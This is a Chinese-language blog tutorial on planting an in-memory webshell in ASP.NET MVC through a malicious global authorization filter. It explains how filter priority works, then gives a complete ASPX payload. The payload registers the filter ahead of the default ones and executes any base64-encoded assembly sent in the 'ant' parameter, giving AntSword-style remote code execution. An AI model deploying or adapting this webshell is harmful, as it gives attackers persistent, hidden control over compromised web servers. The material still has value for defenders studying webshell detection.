浅谈DotNET 内存马 Filter
0x01 前言
最近准备花时间学习研究下Net内存马相关的知识,从易到难,从简入深,主要参考的是yzddMr6师傅的系列文章,表示感谢
0x02 NET MVC结构
为何要先从MVC结构说起,是因为Filter这个依赖于System.Web.Mvc.dll
,这也意味着Filter内存马适用于MVC,而面对Web Form则并不会生效,因此首先需要知道MVC的结构
MVC的相关介绍,MSDN给出了比较详细的介绍,这里贴一下链接就不在赘述:
https://docs.microsoft.com/zh-cn/aspnet/mvc/overview/older-versions-1/getting-started-with-mvc/
Global.asax
根据MSDN,Global.asax文件
,也称为ASP.NET 应用程序文件
,是一个可选文件,其中包含用于响应ASP.NET引发的应用程序级事件的代码。首次激活或请求其应用程序命名空间中的任何资源或URL时,ASP.NET会解析Global.asax文件
并将其动态编译为.NET Framework类。
每当第一次请求应用程序时,都会解析 Global.asax 文件
并将其编译为扩展 HttpApplication类的类。当 Global.asax 文件更改时,框架会重新启动应用程序,并在下一个请求进入时再次触发 Application_OnStart 事件。请注意,如果没有对 Global.asax 文件进行任何更改,则不需要重新编译。只能有一个全局。
可以将其简单理解为是一个全局的入口文件,当我们生成一个MVC项目时我们可以查看其Global.asax文件
:
0x02 Filter过滤器
重点看框内的三个,因为第一个方法调用来注册所有区域,这一部分是没法操作的,FilterConfig.RegisterGlobalFilters
这个方法的作用,就是给全局GlobalFilterCollection
里面加入我们自定义的filter逻辑,因其优先级比注册路由更高,因此我们考虑在这里进行内存马的相关操作也是第一优先级
FilterConfig类则配置所有需要加载的Filter,默认项目中则只配置了错误处理类:
进一步跟进来查看GlobalFilterCollection
的Add方法,这个方法肯定是添加filter对象的,但是有两个重载方法:
可以看到第二个重载方法中允许我们设置筛选器的运行顺序,我们自定义的恶意Filter类自然希望运行顺序越高越好,在MSDN中给出了筛选器的相关介绍:
https://docs.microsoft.com/zh-cn/aspnet/mvc/overview/older-versions-1/controllers-and-routing/understanding-action-filters-vb
ASP.NET MVC
框架支持四种不同类型的筛选器:
- 授权筛选器–实现 IAuthorizationFilter 属性。
- 操作筛选器–实现 IActionFilter 属性。
- 结果筛选器–实现 IResultFilter 属性。
- 异常筛选器–实现 IExceptionFilter 属性。
筛选器按照上面列出的顺序执行。 例如,始终先执行授权筛选器,然后在每个其他类型的筛选器之后始终执行操作筛选器和异常筛选器。
授权筛选器用于实现控制器操作的身份验证和授权。例如,授权筛选器就是授权筛选器的一个示例。
操作筛选器包含执行控制器操作之前和之后执行的逻辑。例如,可以使用操作筛选器来修改控制器操作返回的视图数据。
结果筛选器包含执行视图结果之前和之后执行的逻辑。例如,你可能想要在视图呈现给浏览器之前修改视图结果。
异常筛选器是要运行的最后一类筛选器。您可以使用异常筛选器来处理控制器操作或控制器操作结果引发的错误。 还可以使用异常筛选器记录错误。
每种不同类型的筛选器都按特定顺序执行。如果要控制执行相同类型的筛选器的顺序,则可以设置筛选器的 Order 属性。
注:所有操作筛选器的基类均为System.Web.Mvc.FilterAttribute 类。 如果要实现特定类型的筛选器,则需要创建一个继承自基本筛选器类的类,并实现一个或多个 IAuthorizationFilter、IActionFilter、IResultFilter 或 ExceptionFilter 接口。
从描述中知道。授权筛选器是优先级最高的,不妨从代码层面深究一下:
可以看到
GetFilters
方法,遍历IFilterProvider,通过GetFilters方法加入到list中,然后调用list.Sort
进行排序,执行肯定是按排序顺序进行执行,因此我们重点查看FilterComparer
方法对比2个Filter的Order值和Scope值,总结一下就是:
- Order 和 FilterScope 的数值越小,过滤器的执行优先级越高
- Order 比 FilterScope 具有更高的优先级,在Order属性值相同时FilterScope才会被考虑
而我们在其构造方法中可以看到,当使用默认的重载方法时,order以null被传递进去,最后this.Order = (order ?? -1)
将会被赋值为-1,如果我们想要优先级更高,这应该小于-1
至于为什么是授权筛选器的优先级最高,可以从ControllerActionInvoker的InvokeAction方法中找到答案:
提炼出来主要的顺序为如下所示:
//IAuthorizationFilter调用
AuthorizationContext authContext = InvokeAuthorizationFilters(controllerContext, filterInfo.AuthorizationFilters, actionDescriptor)
//IActionFilter调用
ActionExecutedContext postActionContext = InvokeActionMethodWithFilters(controllerContext, filterInfo.ActionFilters, actionDescriptor, parameters);
//IResultFilter调用
InvokeActionResultWithFilters(controllerContext, filterInfo.ResultFilters, postActionContext.Result);
//IExceptionFilter调用
ExceptionContext exceptionContext = InvokeExceptionFilters(controllerContext, filterInfo.ExceptionFilters, ex);
0x03 内存马的实现
因此我们通过继承IAuthorizationFilter
接口,在OnAuthorization
方法中实现我们的内存马将会拥有最高的优先级(这里在默认的HomeController实现):
随后我们通过Filters进行注册,注意顺序比-1小更加优先:
最终的实现效果:
也可以进一步通过反射的机制,将恶意继承IAuthorizationFilter
的类抽离出来封装成DLL后,通过:
// 反射加载
System.Reflection.Assembly assembly = System.Reflection.Assembly.Load(Convert.FromBase64String("Filter base64字符"));
// 实例化该恶意类
assembly.CreateInstance(assembly.GetTypes()[0].FullName,)
反射实例化该类后,在通过Filters.Add()
方法导入,蚁剑连接便是通过这种方式:
<%@ Page Language="c#"%>
<%@ Import Namespace="System.Web.Mvc" %>
<script runat="server">
public class MyAuthFilter : IAuthorizationFilter
{
public void OnAuthorization(AuthorizationContext filterContext)
{
HttpContext context = HttpContext.Current;
String Payload = filterContext.HttpContext.Request.Params["ant"];
if (Payload != null)
{
System.Reflection.Assembly assembly = System.Reflection.Assembly.Load(Convert.FromBase64String(Payload));
assembly.CreateInstance(assembly.GetName().Name + ".Run").Equals(context);
context.Response.End();
}
Console.WriteLine("auth filter inject");
}
}
</script>
<%
GlobalFilterCollection globalFilterCollection = GlobalFilters.Filters;
globalFilterCollection.Add(new MyAuthFilter(), -2);
%>